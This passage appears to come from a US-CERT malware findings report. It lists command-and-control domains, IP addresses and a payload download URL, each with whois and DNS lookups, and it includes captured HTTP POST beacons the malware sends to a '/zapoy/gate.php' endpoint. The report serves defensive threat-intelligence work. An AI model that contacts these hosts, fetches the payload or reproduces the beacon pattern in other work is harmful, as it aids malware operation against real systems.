https[:]//whois.arin.net/rest/poc/JPM84-ARIN RAbuseHandle: NAA25-ARIN RAbuseName: Network Abuse Administrator RAbusePhone: +1-816-726-7615 RAbuseEmail: security@joesdatacenter.com RAbuseRef: https[:]//whois.arin.net/rest/poc/NAA25-ARIN US-CERT MIFR-10105049-Update2 40 of 63 RNOCHandle: JPM84-ARIN RNOCName: Morgan, Joe Patrick RNOCPhone: +1-816-726-7615 RNOCEmail: joe@joesdatacenter.com RNOCRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN RTechHandle: JPM84-ARIN RTechName: Morgan, Joe Patrick RTechPhone: +1-816-726-7615 RTechEmail: joe@joesdatacenter.com RTechRef: https[:]//whois.arin.net/rest/poc/JPM84-ARIN DNS records DNS query for 72.129.195.69.in-addr.arpa returned an error from the server: NameError DNS query for 8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.2.0.0.0.0.0.0.0.0.8.5.4.0.6.2.ip6.arpa returned an error from the server: NameError name class type data time to live one2shoppee.com IN SOA server: ns1.dynadot.com email: hostmaster@one2shoppee.com serial: 1484571411 refresh: 16384 retry: 2048 expire: 1048576 minimum ttl: 2560 2560s (00:42:40) one2shoppee.com IN NS ns1.dynadot.com 10800s (03:00:00) one2shoppee.com IN NS ns2.dynadot.com 10800s (03:00:00) one2shoppee.com IN AAAA 2604:5800:0:23::8 10800s (03:00:00) one2shoppee.com IN A 69.195.129.72 10800s (03:00:00) Relationships (D) one2shoppee.com Characterized_By (W) Address lookup (D) one2shoppee.com Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) one2shoppee.com Related_To (P) 80 Description Identified Command and Control Location. ritsoperrol.ru Ports HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: ritsoperrol.ru Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 Whois Address lookup lookup failed ritsoperrol.ru A temporary error occurred during the lookup. Trying again may succeed. Domain Whois record Queried whois.nic.ru with "ritsoperrol.ru"... No entries found for the selected source(s). US-CERT MIFR-10105049-Update2 41 of 63 >>> Last update of WHOIS database: 2017.01.16T13:04:09Z <<< Network Whois record Don't have an IP address for which to get a record DNS records DNS query for ritsoperrol.ru returned an error from the server: ServerFailure No records to display Relationships (D) ritsoperrol.ru Characterized_By (W) Address lookup (D) ritsoperrol.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) ritsoperrol.ru Related_To (P) 80 (D) ritsoperrol.ru Related_To (H) POST /zapoy/gate.php Description Identified Command and Control Location. littjohnwilhap.ru Ports HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: littjohnwilhap.ru Accept: */* Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u. X..3S*3.S..%?.".).....>... >V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5 Whois Address lookup lookup failed littjohnwilhap.ru Could not find an IP address for this domain name. Domain Whois record Queried whois.nic.ru with "littjohnwilhap.ru"... No entries found for the selected source(s). >>> Last update of WHOIS database: 2017.01.16T13:05:16Z <<< Network Whois record Don't have an IP address for which to get a record DNS records DNS query for littjohnwilhap.ru returned an error from the server: NameError No records to display Relationships (D) littjohnwilhap.ru Characterized_By (W) Address lookup (D) littjohnwilhap.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) littjohnwilhap.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Related_To (P) 80 Description US-CERT MIFR-10105049-Update2 42 of 63 Identified Command and Control Location. insta.reduct.ru Ports Whois Address lookup canonical name insta.reduct.ru. aliases addresses 146.185.161.126 Domain Whois record Queried whois.nic.ru with "reduct.ru"... domain: REDUCT.RU nserver: ns1.spaceweb.ru nserver: ns2.spaceweb.ru state: REGISTERED, DELEGATED person: Private person admin-contact:https[:]//www[.]nic.ru/cgi/whois_webmail.cgi?domain=REDUCT.RU registrar: RU-CENTER-RU created: 2009.03.13 paid-till: 2017.03.13 source: RU-CENTER >>> Last update of WHOIS database: 2017.01.16T13:00:25Z <<< Network Whois record Queried whois.ripe.net with "-B 146.185.161.126"... % Information related to '146.185.160.0 - 146.185.167.255' % Abuse contact for '146.185.160.0 - 146.185.167.255' is 'abuse@digitalocean.com' inetnum: 146.185.160.0 - 146.185.167.255 netname: DIGITALOCEAN-AMS-3 descr: Digital Ocean, Inc. country: admin-c: PT7353-RIPE tech-c: PT7353-RIPE status: ASSIGNED PA mnt-by: digitalocean mnt-lower: digitalocean mnt-routes: digitalocean created: 2013-09-17T17:13:25Z last-modified: 2015-11-20T14:45:22Z source: RIPE person: Network Operations address: 101 Ave of the Americas, 10th Floor, New York, NY 10013 phone: +13478756044 nic-hdl: PT7353-RIPE mnt-by: digitalocean created: 2015-03-11T16:37:07Z last-modified: 2015-11-19T15:57:21Z source: RIPE e-mail: noc@digitalocean.com org: ORG-DOI2-RIPE % This query was served by the RIPE Database Query Service version 1.88 (WAGYU) DNS records DNS query for 126.161.185.146.in-addr.arpa returned an error from the server: NameError name class type data time to live insta.reduct.ru IN A 146.185.161.126 600s(00:10:00) reduct.ru IN SOA server: ns1.spaceweb.ru email: dns1@sweb.ru serial: 2010022878 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 600s(00:10:00) reduct.ru IN A 77.222.42.238 600s(00:10:00) reduct.ru IN NS ns3.spaceweb.pro 600s(00:10:00) reduct.ru IN NS ns1.spaceweb.ru 600s(00:10:00) US-CERT MIFR-10105049-Update2 43 of 63 reduct.ru IN NS ns2.spaceweb.ru 600s(00:10:00) reduct.ru IN NS ns4.spaceweb.pro 600s(00:10:00) reduct.ru IN MX preference: exchange: mx1.spaceweb.ru 600s(00:10:00) reduct.ru IN MX preference: exchange: mx2.spaceweb.ru 600s(00:10:00) Relationships (D) insta.reduct.ru Characterized_By (W) Address lookup (D) insta.reduct.ru Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) insta.reduct.ru Related_To (P) 80 (D) insta.reduct.ru Related_To (I) 146.185.161.126 Description Identified Command and Control Location. editprod.waterfilter.in.ua Ports Whois Address lookup canonical name editprod.waterfilter.in.ua. aliases addresses 176.114.0.120 Domain Whois record Queried whois.ua with "waterfilter.in.ua"... % request from 209.200.70.26 % This is the Ukrainian Whois query server #I. % The Whois is subject to Terms of use % See https[:]//hostmaster.ua/services/ % The object shown below is NOT in the UANIC database. % It has been obtained by querying a remote server: % (whois.in.ua) at port 43. % REDIRECT BEGIN % In.UA whois server. (whois.in.ua) % All questions regarding this service please send to help@whois.in.ua % To search for domains and In.UA maintainers using the web, visit http[:]//whois.in.ua domain: waterfilter.in.ua descr: waterfilter.in.ua admin-c: THST-UANIC tech-c: THST-UANIC status: OK-UNTIL 20170310000000 nserver: ns1.thehost.com.ua nserver: ns2.thehost.com.ua nserver: ns3.thehost.com.ua mnt-by: THEHOST-MNT-INUA mnt-lower: THEHOST-MNT-INUA changed: hostmaster@thehost.com.ua 20160224094245 source: INUA % REDIRECT END Network Whois record Queried whois.ripe.net with "-B 176.114.0.120"... % Information related to '176.114.0.0 - 176.114.15.255' % Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua' inetnum: 176.114.0.0 - 176.114.15.255 netname: THEHOST-NETWORK-3 country: org: ORG-FSOV1-RIPE US-CERT MIFR-10105049-Update2 44 of 63 admin-c: SA7501-RIPE tech-c: SA7501-RIPE status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: THEHOST-MNT mnt-routes: THEHOST-MNT mnt-domains: THEHOST-MNT created: 2012-04-10T13:34:51Z last-modified: 2016-04-14T10:45:42Z source: RIPE sponsoring-org: ORG-NL64-RIPE organisation: ORG-FSOV1-RIPE org-name: FOP Sedinkin Olexandr Valeriyovuch org-type: other address: 08154, Ukraine, Boyarka, Belogorodskaya str., 11a e-mail: info@thehost.ua abuse-c: AR19055-RIPE abuse-mailbox: abuse@thehost.ua remarks: ----------------------------------------------------remarks: Hosting Provider TheHost remarks: ----------------------------------------------------remarks: For abuse/spam issues contact abuse@thehost.ua remarks: For general/sales questions contact info@thehost.ua remarks: For technical support contact support@thehost.ua remarks: ----------------------------------------------------phone: +380 44 222-9-888 phone: +7 499 403-36-28 fax-no: +380 44 222-9-888 ext. 4 admin-c: SA7501-RIPE mnt-ref: THEHOST-MNT mnt-by: THEHOST-MNT created: 2011-03-01T10:48:14Z last-modified: 2015-11-29T21:16:15Z source: RIPE person: Sedinkin Alexander address: Ukraine, Boyarka, Belogorodskaya str., 11a phone: +380 44 222-9-888 ext. 213 address: UKRAINE nic-hdl: SA7501-RIPE mnt-by: THEHOST-MNT created: 2011-03-01T10:36:18Z last-modified: 2015-11-29T21:15:42Z source: RIPE % Information related to '176.114.0.0/22AS56485' route: 176.114.0.0/22 descr: FOP Sedinkin Olexandr Valeriyovuch origin: AS56485 mnt-by: THEHOST-MNT created: 2014-04-26T22:55:50Z last-modified: 2014-04-26T22:58:13Z source: RIPE % This query was served by the RIPE Database Query Service version 1.88 (ANGUS) DNS records DNS query for 120.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live editprod.waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN TXT v=spf1 ip4:176.114.0.120 a mx ~all3600s waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2015031414 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 US-CERT MIFR-10105049-Update2 (01:00:00) 45 of 63 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) 120.0.114.176.in-addr.arpa IN PTR s12.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2014044192 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) Relationships (D) editprod.waterfilter.in.ua Characterized_By (W) Address lookup (D) editprod.waterfilter.in.ua Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) editprod.waterfilter.in.ua Related_To (P) 80 (D) editprod.waterfilter.in.ua Related_To (I) 176.114.0.120 Description Identified Command and Control Location. mymodule.waterfilter.in.ua/system/logs/xtool.exe Ports Whois Address lookup canonical name mymodule.waterfilter.in.ua. aliases addresses 176.114.0.157 Domain Whois record Queried whois.ua with "waterfilter.in.ua"... % request from 209.200.105.145 % This is the Ukrainian Whois query server #F. % The Whois is subject to Terms of use % See https[:]//hostmaster.ua/services/ % The object shown below is NOT in the UANIC database. % It has been obtained by querying a remote server: % (whois.in.ua) at port 43. % REDIRECT BEGIN % In.UA whois server. (whois.in.ua) % All questions regarding this service please send to help@whois.in.ua % To search for domains and In.UA maintainers using the web, visit http[:]//whois.in.ua domain: waterfilter.in.ua descr: waterfilter.in.ua admin-c: THST-UANIC tech-c: THST-UANIC status: OK-UNTIL 20170310000000 nserver: ns1.thehost.com.ua nserver: ns2.thehost.com.ua nserver: ns3.thehost.com.ua mnt-by: THEHOST-MNT-INUA mnt-lower: THEHOST-MNT-INUA changed: hostmaster@thehost.com.ua 20160224094245 US-CERT MIFR-10105049-Update2 46 of 63 source: INUA % REDIRECT END Network Whois record Queried whois.ripe.net with "-B 176.114.0.157"... % Information related to '176.114.0.0 - 176.114.15.255' % Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua' inetnum: 176.114.0.0 - 176.114.15.255 netname: THEHOST-NETWORK-3 country: org: ORG-FSOV1-RIPE admin-c: SA7501-RIPE tech-c: SA7501-RIPE status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: THEHOST-MNT mnt-routes: THEHOST-MNT mnt-domains: THEHOST-MNT created: 2012-04-10T13:34:51Z last-modified: 2016-04-14T10:45:42Z source: RIPE sponsoring-org: ORG-NL64-RIPE organisation: ORG-FSOV1-RIPE org-name: FOP Sedinkin Olexandr Valeriyovuch org-type: other address: 08154, Ukraine, Boyarka, Belogorodskaya str., 11a e-mail: info@thehost.ua abuse-c: AR19055-RIPE abuse-mailbox: abuse@thehost.ua remarks: ----------------------------------------------------remarks: Hosting Provider TheHost remarks: ----------------------------------------------------remarks: For abuse/spam issues contact abuse@thehost.ua remarks: For general/sales questions contact info@thehost.ua remarks: For technical support contact support@thehost.ua remarks: ----------------------------------------------------phone: +380 44 222-9-888 phone: +7 499 403-36-28 fax-no: +380 44 222-9-888 ext. 4 admin-c: SA7501-RIPE mnt-ref: THEHOST-MNT mnt-by: THEHOST-MNT created: 2011-03-01T10:48:14Z last-modified: 2015-11-29T21:16:15Z source: RIPE person: Sedinkin Alexander address: Ukraine, Boyarka, Belogorodskaya str., 11a phone: +380 44 222-9-888 ext. 213 address: UKRAINE nic-hdl: SA7501-RIPE mnt-by: THEHOST-MNT created: 2011-03-01T10:36:18Z last-modified: 2015-11-29T21:15:42Z source: RIPE % Information related to '176.114.0.0/22AS56485' route: 176.114.0.0/22 descr: FOP Sedinkin Olexandr Valeriyovuch origin: AS56485 mnt-by: THEHOST-MNT created: 2014-04-26T22:55:50Z last-modified: 2014-04-26T22:58:13Z source: RIPE % This query was served by the RIPE Database Query Service version 1.88 (HEREFORD) DNS records DNS query for 157.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live mymodule.waterfilter.in.ua IN A 176.114.0.157 3600s waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2015031414 US-CERT MIFR-10105049-Update2 (01:00:00) 47 of 63 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN TXT v=spf1 ip4:176.114.0.120 a mx ~all3600s (01:00:00) waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) 157.0.114.176.in-addr.arpa IN PTR waterfilter.in.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmaster@thehost.com.ua serial: 2014044197 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) -- end -Relationships (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (P) 80 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Characterized_By (W) Address lookup (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Connected_From 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (I) 176.114.0.157 Description Identified Command and Control Location. 204.12.12.40 private.directinvesting.com Whois Address lookup lookup failed 204.12.12.40 Could not find a domain name corresponding to this IP address. Domain Whois record Don't have a domain name for which to get a record Network Whois record Queried whois.arin.net with "n ! NET-204-12-12-32-1"... NetRange: 204.12.12.32 - 204.12.12.63 CIDR: 204.12.12.32/27 NetName: THEMONEYPAPERINC NetHandle: NET-204-12-12-32-1 US-CERT MIFR-10105049-Update2 48 of 63 Parent: HOSTMYSITE (NET-204-12-0-0-1) NetType: Reassigned OriginAS: AS20021 Customer: THE MONEYPAPER INC. (C02687180) RegDate: 2011-02-03 Updated: 2011-02-03 Ref: https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1 CustName: THE MONEYPAPER INC. Address: 555 THEODORE FREMD AVENUE SUITE B-103 City: StateProv: PostalCode: 10580 Country: RegDate: 2011-02-03 Updated: 2011-03-19 Ref: https[:]//whois.arin.net/rest/customer/C02687180 OrgNOCHandle: IPADM271-ARIN OrgNOCName: IP Admin OrgNOCPhone: +1-302-731-4948 OrgNOCEmail: ipadmin@hostmysite.com OrgNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgTechHandle: IPADM271-ARIN OrgTechName: IP Admin OrgTechPhone: +1-302-731-4948 OrgTechEmail: ipadmin@hostmysite.com OrgTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgAbuseHandle: ABUSE1072-ARIN OrgAbuseName: Abuse OrgAbusePhone: +1-302-731-4948 OrgAbuseEmail: abuse@hostmysite.com OrgAbuseRef: https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN RNOCHandle: IPADM271-ARIN RNOCName: IP Admin RNOCPhone: +1-302-731-4948 RNOCEmail: ipadmin@hostmysite.com RNOCRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RTechHandle: IPADM271-ARIN RTechName: IP Admin RTechPhone: +1-302-731-4948 RTechEmail: ipadmin@hostmysite.com RTechRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RAbuseHandle: IPADM271-ARIN RAbuseName: IP Admin RAbusePhone: +1-302-731-4948 RAbuseEmail: ipadmin@hostmysite.com RAbuseRef: https[:]//whois.arin.net/rest/poc/IPADM271-ARIN DNS records DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError Relationships (I) 204.12.12.40 Characterized_By (W) Address lookup (I) 204.12.12.40 Related_To (D) private.directinvesting.com 209.236.67.159 cderlearn.com Whois Address lookup canonical name dl-573-57.slc.westdc.net. aliases addresses 209.236.67.159 Domain Whois record Queried whois.internic.net with "dom westdc.net"... Domain Name: WESTDC.NET Registrar: ENOM, INC. Sponsoring Registrar IANA ID: 48 Whois Server: whois.enom.com US-CERT MIFR-10105049-Update2 49 of 63 Referral URL: http[:]//www[.]enom.com Name Server: NS1.WESTDC.NET Name Server: NS2.WESTDC.NET Name Server: NS3.WESTDC.NET Status: clientTransferProhibited https[:]//icann.org/epp#clientTransferProh bited Updated Date: 09-dec-2015 Creation Date: 09-sep-2008 Expiration Date: 09-sep-2019 >>> Last update of whois database: Sun, 15 Jan 2017 23:13:20 GMT <<< Queried whois.enom.com with "westdc.net"... Domain Name: WESTDC.NET Registry Domain ID: 1518630589_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.enom.com Registrar URL: www[.]enom.com Updated Date: 2015-07-14T14:07:24.00Z Creation Date: 2008-09-09T19:31:20.00Z Registrar Registration Expiration Date: 2019-09-09T19:31:00.00Z Registrar: ENOM, INC. Registrar IANA ID: 48 Domain Status: clientTransferProhibited https[:]//www[.]icann.org/epp#clientTransferProh bited Registry Registrant ID: Registrant Name: TECHNICAL SUPPORT Registrant Organization: UK2 GROUP Registrant Street: 517 WEST 100 NORTH, SUITE #225 Registrant City: PROVIDENCE Registrant State/Province: UT Registrant Postal Code: 84332 Registrant Country: US Registrant Phone: +1.4357553433 Registrant Phone Ext: Registrant Fax: +1.4357553449 Registrant Fax Ext: Registrant Email: DOMAINMASTER@UK2GROUP.COM Registry Admin ID: Admin Name: TECHNICAL SUPPORT Admin Organization: UK2 GROUP Admin Street: 517 WEST 100 NORTH, SUITE #225 Admin City: PROVIDENCE Admin State/Province: UT Admin Postal Code: 84332 Admin Country: US Admin Phone: +1.4357553433 Admin Phone Ext: Admin Fax: +1.4357553449 Admin Fax Ext: Admin Email: DOMAINMASTER@UK2GROUP.COM Registry Tech ID: Tech Name: TECHNICAL SUPPORT Tech Organization: UK2 GROUP Tech Street: 517 WEST 100 NORTH, SUITE #225 Tech City: PROVIDENCE Tech State/Province: UT Tech Postal Code: 84332 Tech Country: US Tech Phone: +1.4357553433 Tech Phone Ext: Tech Fax: +1.4357553449 Tech Fax Ext: Tech Email: DOMAINMASTER@UK2GROUP.COM Name Server: NS1.WESTDC.NET Name Server: NS2.WESTDC.NET Name Server: NS3.WESTDC.NET DNSSEC: unSigned Registrar Abuse Contact Email: abuse@enom.com Registrar Abuse Contact Phone: +1.4252982646 URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ >>> Last update of WHOIS database: 2015-07-14T14:07:24.00Z <<< Network Whois record Queried secure.mpcustomer.com with "209.236.67.159"... Queried whois.arin.net with "n 209.236.67.159"... US-CERT MIFR-10105049-Update2 50 of 63 NetRange: 209.236.64.0 - 209.236.79.255 CIDR: 209.236.64.0/20 NetName: WH-NET-209-236-64-0-1 NetHandle: NET-209-236-64-0-1 Parent: NET209 (NET-209-0-0-0-0) NetType: Direct Allocation OriginAS: AS29854 Organization: WestHost, Inc. (WESTHO) RegDate: 2010-02-25 Updated: 2014-01-02 Ref: https[:]//whois.arin.net/rest/net/NET-209-236-64-0-1 OrgName: WestHost, Inc. OrgId: WESTHO Address: 517 W 100 N STE 225 City: Providence StateProv: PostalCode: 84332 Country: RegDate: 2000-03-13 Updated: 2016-09-30 Comment: Please report abuse issues to abuse@uk2group.com Ref: https[:]//whois.arin.net/rest/org/WESTHO ReferralServer: rwhois://secure.mpcustomer.com:4321 OrgNOCHandle: NOC12189-ARIN OrgNOCName: NOC OrgNOCPhone: +1-435-755-3433 OrgNOCEmail: noc@uk2group.com OrgNOCRef: https[:]//whois.arin.net/rest/poc/NOC12189-ARIN OrgTechHandle: WESTH1-ARIN OrgTechName: WestHost Inc OrgTechPhone: +1-435-755-3433 OrgTechEmail: noc@uk2group.com OrgTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN OrgAbuseHandle: WESTH2-ARIN OrgAbuseName: WestHost Abuse OrgAbusePhone: +1-435-755-3433 OrgAbuseEmail: abuse@uk2group.com OrgAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN RTechHandle: WESTH1-ARIN RTechName: WestHost Inc RTechPhone: +1-435-755-3433 RTechEmail: noc@uk2group.com RTechRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RNOCHandle: WESTH1-ARIN RNOCName: WestHost Inc RNOCPhone: +1-435-755-3433 RNOCEmail: noc@uk2group.com RNOCRef: https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RAbuseHandle: WESTH2-ARIN RAbuseName: WestHost Abuse RAbusePhone: +1-435-755-3433 RAbuseEmail: abuse@uk2group.com RAbuseRef: https[:]//whois.arin.net/rest/poc/WESTH2-ARIN DNS records name class type data time to live dl-573-57.slc.westdc.net IN A 209.236.67.216 westdc.net IN SOA server: ns1.westdc.net email: hostmaster@westdc.net serial: 2016018517 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) westdc.net IN MX preference: exchange: mail.westdc.net 86400s (1.00:00:00) westdc.net IN NS ns2.westdc.net 86400s westdc.net IN NS ns3.westdc.net 86400s US-CERT MIFR-10105049-Update2 86400s (1.00:00:00) (1.00:00:00) (1.00:00:00) 51 of 63 westdc.net IN NS ns1.westdc.net 86400s (1.00:00:00) 159.67.236.209.in-addr.arpa IN PTR dl-573-57.slc.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN SOA server: ns1.westdc.net email: hostmaster@westdc.net serial: 2010074157 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns3.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns1.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns2.westdc.net 86400s (1.00:00:00) Relationships (I) 209.236.67.159 Characterized_By (W) Address lookup (I) 209.236.67.159 Related_To (D) cderlearn.com 146.185.161.126 insta.reduct.ru Whois Address lookup lookup failed 146.185.161.126 Could not find a domain name corresponding to this IP address. Domain Whois record Don't have a domain name for which to get a record Network Whois record Queried whois.ripe.net with "-B 146.185.161.126"... % Information related to '146.185.160.0 - 146.185.167.255' % Abuse contact for '146.185.160.0 - 146.185.167.255' is 'abuse@digitalocean.com' inetnum: 146.185.160.0 - 146.185.167.255 netname: DIGITALOCEAN-AMS-3 descr: Digital Ocean, Inc. country: admin-c: PT7353-RIPE tech-c: PT7353-RIPE status: ASSIGNED PA mnt-by: digitalocean mnt-lower: digitalocean mnt-routes: digitalocean created: 2013-09-17T17:13:25Z last-modified: 2015-11-20T14:45:22Z source: RIPE person: Network Operations address: 101 Ave of the Americas, 10th Floor, New York, NY 10013 phone: +13478756044 nic-hdl: PT7353-RIPE mnt-by: digitalocean created: 2015-03-11T16:37:07Z last-modified: 2015-11-19T15:57:21Z source: RIPE e-mail: noc@digitalocean.com org: ORG-DOI2-RIPE % This query was served by the RIPE Database Query Service version 1.88 (WAGYU) DNS records DNS query for 126.161.185.146.in-addr.arpa returned an error from the server: NameError No records to display Relationships (I) 146.185.161.126 Characterized_By (W) Address lookup (I) 146.185.161.126 Related_To (D) insta.reduct.ru 176.114.0.120 US-CERT MIFR-10105049-Update2 52 of 63 editprod.waterfilter.in.ua Whois Address lookup canonical name s12.thehost.com.ua. aliases addresses 176.114.0.120 Domain Whois record Queried whois.ua with "thehost.com.ua"... % request from 209.200.90.218 % This is the Ukrainian Whois query server #I. % The Whois is subject to Terms of use % See https[:]//hostmaster.ua/services/ domain: thehost.com.ua dom-public: registrant: thehost admin-c: thehost tech-c: thehost mnt-by: ua.thehost nserver: ns4.thehost.com.ua nserver: ns3.thehost.com.ua nserver: ns2.thehost.com.ua nserver: ns1.thehost.com.ua status: clientDeleteProhibited status: clientTransferProhibited created: 2007-10-25 15:16:15+03 modified: 2015-09-09 01:35:49+03 expires: 2020-10-25 15:16:15+02 source: UAEPP % Glue Records: % ============= nserver: ns2.thehost.com.ua ip-address: 91.109.22.38 nserver: ns4.thehost.com.ua ip-address: 192.162.240.116 nserver: ns1.thehost.com.ua ip-address: 91.223.180.14 nserver: ns3.thehost.com.ua ip-address: 176.111.63.45 % Registrar: % ========== registrar: ua.thehost organization: SE Sedinkin Aleksandr Valerievich organization-loc: url: http[:]//thehost.com.ua city: Boyarka country: source: UAEPP % Registrant: % =========== contact-id: thehost person: Hosting provider TheHost person-loc: TheHost e-mail: hostmaster@thehost.com.ua address: Belogorodskaya str., 11a address: Kyiv region address: Boyarka postal-code: 08154 country: address-loc: , 11 address-loc: address-loc: postal-code-loc: 08154 country-loc: phone: +380.442229888 fax: +380.672366930 mnt-by: ua.thehost status: linked US-CERT MIFR-10105049-Update2 53 of 63 status: clientDeleteProhibited status: clientTransferProhibited status: clientUpdateProhibited created: 2012-11-22 23:02:17+02 modified: 2015-11-30 00:57:34+02 source: UAEPP % Administrative Contacts: % ======================= contact-id: thehost person: Hosting provider TheHost person-loc: TheHost e-mail: hostmaster@thehost.com.ua address: Belogorodskaya str., 11a address: Kyiv region address: Boyarka postal-code: 08154 country: address-loc: , 11 address-loc: address-loc: postal-code-loc: 08154 country-loc: phone: +380.442229888 fax: +380.672366930 mnt-by: ua.thehost status: linked status: clientDeleteProhibited status: clientTransferProhibited status: clientUpdateProhibited created: 2012-11-22 23:02:17+02 modified: 2015-11-30 00:57:34+02 source: UAEPP % Technical Contacts: % =================== contact-id: thehost person: Hosting provider TheHost person-loc: TheHost e-mail: hostmaster@thehost.com.ua address: Belogorodskaya str., 11a address: Kyiv region address: Boyarka postal-code: 08154 country: address-loc: , 11 address-loc: address-loc: postal-code-loc: 08154 country-loc: phone: +380.442229888 fax: +380.672366930 mnt-by: ua.thehost status: linked status: clientDeleteProhibited status: clientTransferProhibited status: clientUpdateProhibited created: 2012-11-22 23:02:17+02 modified: 2015-11-30 00:57:34+02 source: UAEPP % Query time: 6 msec Network Whois record Queried whois.ripe.net with "-B 176.114.0.120"... % Information related to '176.114.0.0 - 176.114.15.255' % Abuse contact for '176.114.0.0 - 176.114.15.255' is 'abuse@thehost.ua' inetnum: 176.114.0.0 - 176.114.15.255 netname: THEHOST-NETWORK-3 country: org: ORG-FSOV1-RIPE admin-c: SA7501-RIPE tech-c: SA7501-RIPE status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT 